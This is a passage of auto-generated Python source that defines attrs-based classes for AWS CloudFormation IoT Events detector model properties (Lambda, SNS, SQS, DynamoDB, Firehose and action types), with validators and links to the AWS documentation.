converter=PropDetectorModelAssetPropertyVariant.from_dict,
validator=attr.validators.instance_of(PropDetectorModelAssetPropertyVariant),
metadata={AttrMeta.PROPERTY_NAME: "Value"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-value"""
p_Quality: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "Quality"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-quality"""
p_Timestamp: typing.Union['PropDetectorModelAssetPropertyTimestamp', dict] = attr.ib(
default=None,
converter=PropDetectorModelAssetPropertyTimestamp.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelAssetPropertyTimestamp)),
metadata={AttrMeta.PROPERTY_NAME: "Timestamp"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-assetpropertyvalue.html#cfn-iotevents-detectormodel-assetpropertyvalue-timestamp"""
@attr.s
class PropInputInputDefinition(Property):
"""
AWS Object Type = "AWS::IoTEvents::Input.InputDefinition"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-inputdefinition.html
Property Document:
- ``rp_Attributes``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-inputdefinition.html#cfn-iotevents-input-inputdefinition-attributes
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::Input.InputDefinition"
rp_Attributes: typing.List[typing.Union['PropInputAttribute', dict]] = attr.ib(
default=None,
converter=PropInputAttribute.from_list,
validator=attr.validators.deep_iterable(member_validator=attr.validators.instance_of(PropInputAttribute), iterable_validator=attr.validators.instance_of(list)),
metadata={AttrMeta.PROPERTY_NAME: "Attributes"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-input-inputdefinition.html#cfn-iotevents-input-inputdefinition-attributes"""
@attr.s
class PropDetectorModelLambda(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Lambda"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-lambda.html
Property Document:
- ``rp_FunctionArn``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-lambda.html#cfn-iotevents-detectormodel-lambda-functionarn
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-lambda.html#cfn-iotevents-detectormodel-lambda-payload
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Lambda"
rp_FunctionArn: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "FunctionArn"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-lambda.html#cfn-iotevents-detectormodel-lambda-functionarn"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-lambda.html#cfn-iotevents-detectormodel-lambda-payload"""
@attr.s
class PropDetectorModelIotEvents(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.IotEvents"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotevents.html
Property Document:
- ``rp_InputName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotevents.html#cfn-iotevents-detectormodel-iotevents-inputname
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotevents.html#cfn-iotevents-detectormodel-iotevents-payload
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.IotEvents"
rp_InputName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "InputName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotevents.html#cfn-iotevents-detectormodel-iotevents-inputname"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotevents.html#cfn-iotevents-detectormodel-iotevents-payload"""
@attr.s
class PropDetectorModelIotSiteWise(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.IotSiteWise"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html
Property Document:
- ``rp_PropertyValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyvalue
- ``p_AssetId``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-assetid
- ``p_EntryId``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-entryid
- ``p_PropertyAlias``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyalias
- ``p_PropertyId``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyid
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.IotSiteWise"
rp_PropertyValue: typing.Union['PropDetectorModelAssetPropertyValue', dict] = attr.ib(
default=None,
converter=PropDetectorModelAssetPropertyValue.from_dict,
validator=attr.validators.instance_of(PropDetectorModelAssetPropertyValue),
metadata={AttrMeta.PROPERTY_NAME: "PropertyValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyvalue"""
p_AssetId: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "AssetId"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-assetid"""
p_EntryId: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "EntryId"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-entryid"""
p_PropertyAlias: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "PropertyAlias"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyalias"""
p_PropertyId: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "PropertyId"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iotsitewise.html#cfn-iotevents-detectormodel-iotsitewise-propertyid"""
@attr.s
class PropDetectorModelDynamoDB(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.DynamoDB"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html
Property Document:
- ``rp_HashKeyField``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeyfield
- ``rp_HashKeyValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeyvalue
- ``rp_TableName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-tablename
- ``p_HashKeyType``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeytype
- ``p_Operation``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-operation
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-payload
- ``p_PayloadField``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-payloadfield
- ``p_RangeKeyField``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeyfield
- ``p_RangeKeyType``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeytype
- ``p_RangeKeyValue``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeyvalue
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.DynamoDB"
rp_HashKeyField: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "HashKeyField"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeyfield"""
rp_HashKeyValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "HashKeyValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeyvalue"""
rp_TableName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TableName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-tablename"""
p_HashKeyType: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "HashKeyType"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-hashkeytype"""
p_Operation: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "Operation"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-operation"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-payload"""
p_PayloadField: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "PayloadField"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-payloadfield"""
p_RangeKeyField: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "RangeKeyField"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeyfield"""
p_RangeKeyType: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "RangeKeyType"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeytype"""
p_RangeKeyValue: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "RangeKeyValue"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodb.html#cfn-iotevents-detectormodel-dynamodb-rangekeyvalue"""
@attr.s
class PropDetectorModelFirehose(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Firehose"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html
Property Document:
- ``rp_DeliveryStreamName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-deliverystreamname
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-payload
- ``p_Separator``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-separator
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Firehose"
rp_DeliveryStreamName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "DeliveryStreamName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-deliverystreamname"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-payload"""
p_Separator: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(TypeCheck.intrinsic_str_type)),
metadata={AttrMeta.PROPERTY_NAME: "Separator"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-firehose.html#cfn-iotevents-detectormodel-firehose-separator"""
@attr.s
class PropDetectorModelSns(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Sns"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sns.html
Property Document:
- ``rp_TargetArn``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sns.html#cfn-iotevents-detectormodel-sns-targetarn
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sns.html#cfn-iotevents-detectormodel-sns-payload
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Sns"
rp_TargetArn: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TargetArn"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sns.html#cfn-iotevents-detectormodel-sns-targetarn"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sns.html#cfn-iotevents-detectormodel-sns-payload"""
@attr.s
class PropDetectorModelSqs(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Sqs"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html
Property Document:
- ``rp_QueueUrl``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-queueurl
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-payload
- ``p_UseBase64``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-usebase64
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Sqs"
rp_QueueUrl: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "QueueUrl"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-queueurl"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-payload"""
p_UseBase64: bool = attr.ib(
default=None,
validator=attr.validators.optional(attr.validators.instance_of(bool)),
metadata={AttrMeta.PROPERTY_NAME: "UseBase64"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-sqs.html#cfn-iotevents-detectormodel-sqs-usebase64"""
@attr.s
class PropDetectorModelIotTopicPublish(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.IotTopicPublish"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iottopicpublish.html
Property Document:
- ``rp_MqttTopic``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iottopicpublish.html#cfn-iotevents-detectormodel-iottopicpublish-mqtttopic
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iottopicpublish.html#cfn-iotevents-detectormodel-iottopicpublish-payload
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.IotTopicPublish"
rp_MqttTopic: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "MqttTopic"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iottopicpublish.html#cfn-iotevents-detectormodel-iottopicpublish-mqtttopic"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-iottopicpublish.html#cfn-iotevents-detectormodel-iottopicpublish-payload"""
@attr.s
class PropDetectorModelDynamoDBv2(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.DynamoDBv2"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodbv2.html
Property Document:
- ``rp_TableName``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodbv2.html#cfn-iotevents-detectormodel-dynamodbv2-tablename
- ``p_Payload``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodbv2.html#cfn-iotevents-detectormodel-dynamodbv2-payload
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.DynamoDBv2"
rp_TableName: TypeHint.intrinsic_str = attr.ib(
default=None,
validator=attr.validators.instance_of(TypeCheck.intrinsic_str_type),
metadata={AttrMeta.PROPERTY_NAME: "TableName"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodbv2.html#cfn-iotevents-detectormodel-dynamodbv2-tablename"""
p_Payload: typing.Union['PropDetectorModelPayload', dict] = attr.ib(
default=None,
converter=PropDetectorModelPayload.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelPayload)),
metadata={AttrMeta.PROPERTY_NAME: "Payload"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-dynamodbv2.html#cfn-iotevents-detectormodel-dynamodbv2-payload"""
@attr.s
class PropDetectorModelAction(Property):
"""
AWS Object Type = "AWS::IoTEvents::DetectorModel.Action"
Resource Document: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html
Property Document:
- ``p_ClearTimer``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-cleartimer
- ``p_DynamoDB``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-dynamodb
- ``p_DynamoDBv2``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-dynamodbv2
- ``p_Firehose``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-firehose
- ``p_IotEvents``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iotevents
- ``p_IotSiteWise``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iotsitewise
- ``p_IotTopicPublish``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iottopicpublish
- ``p_Lambda``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-lambda
- ``p_ResetTimer``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-resettimer
- ``p_SetTimer``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-settimer
- ``p_SetVariable``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-setvariable
- ``p_Sns``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-sns
- ``p_Sqs``: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-sqs
"""
AWS_OBJECT_TYPE = "AWS::IoTEvents::DetectorModel.Action"
p_ClearTimer: typing.Union['PropDetectorModelClearTimer', dict] = attr.ib(
default=None,
converter=PropDetectorModelClearTimer.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelClearTimer)),
metadata={AttrMeta.PROPERTY_NAME: "ClearTimer"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-cleartimer"""
p_DynamoDB: typing.Union['PropDetectorModelDynamoDB', dict] = attr.ib(
default=None,
converter=PropDetectorModelDynamoDB.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelDynamoDB)),
metadata={AttrMeta.PROPERTY_NAME: "DynamoDB"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-dynamodb"""
p_DynamoDBv2: typing.Union['PropDetectorModelDynamoDBv2', dict] = attr.ib(
default=None,
converter=PropDetectorModelDynamoDBv2.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelDynamoDBv2)),
metadata={AttrMeta.PROPERTY_NAME: "DynamoDBv2"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-dynamodbv2"""
p_Firehose: typing.Union['PropDetectorModelFirehose', dict] = attr.ib(
default=None,
converter=PropDetectorModelFirehose.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelFirehose)),
metadata={AttrMeta.PROPERTY_NAME: "Firehose"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-firehose"""
p_IotEvents: typing.Union['PropDetectorModelIotEvents', dict] = attr.ib(
default=None,
converter=PropDetectorModelIotEvents.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelIotEvents)),
metadata={AttrMeta.PROPERTY_NAME: "IotEvents"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iotevents"""
p_IotSiteWise: typing.Union['PropDetectorModelIotSiteWise', dict] = attr.ib(
default=None,
converter=PropDetectorModelIotSiteWise.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelIotSiteWise)),
metadata={AttrMeta.PROPERTY_NAME: "IotSiteWise"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iotsitewise"""
p_IotTopicPublish: typing.Union['PropDetectorModelIotTopicPublish', dict] = attr.ib(
default=None,
converter=PropDetectorModelIotTopicPublish.from_dict,
validator=attr.validators.optional(attr.validators.instance_of(PropDetectorModelIotTopicPublish)),
metadata={AttrMeta.PROPERTY_NAME: "IotTopicPublish"},
)
"""Doc: http://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-iotevents-detectormodel-action.html#cfn-iotevents-detectormodel-action-iottopicpublish"""
p_Lambda: typing.Union['PropDetectorModelLambda', dict] = attr.ib(
default=None,
converter=PropDetectorModelLambda.from_dict,
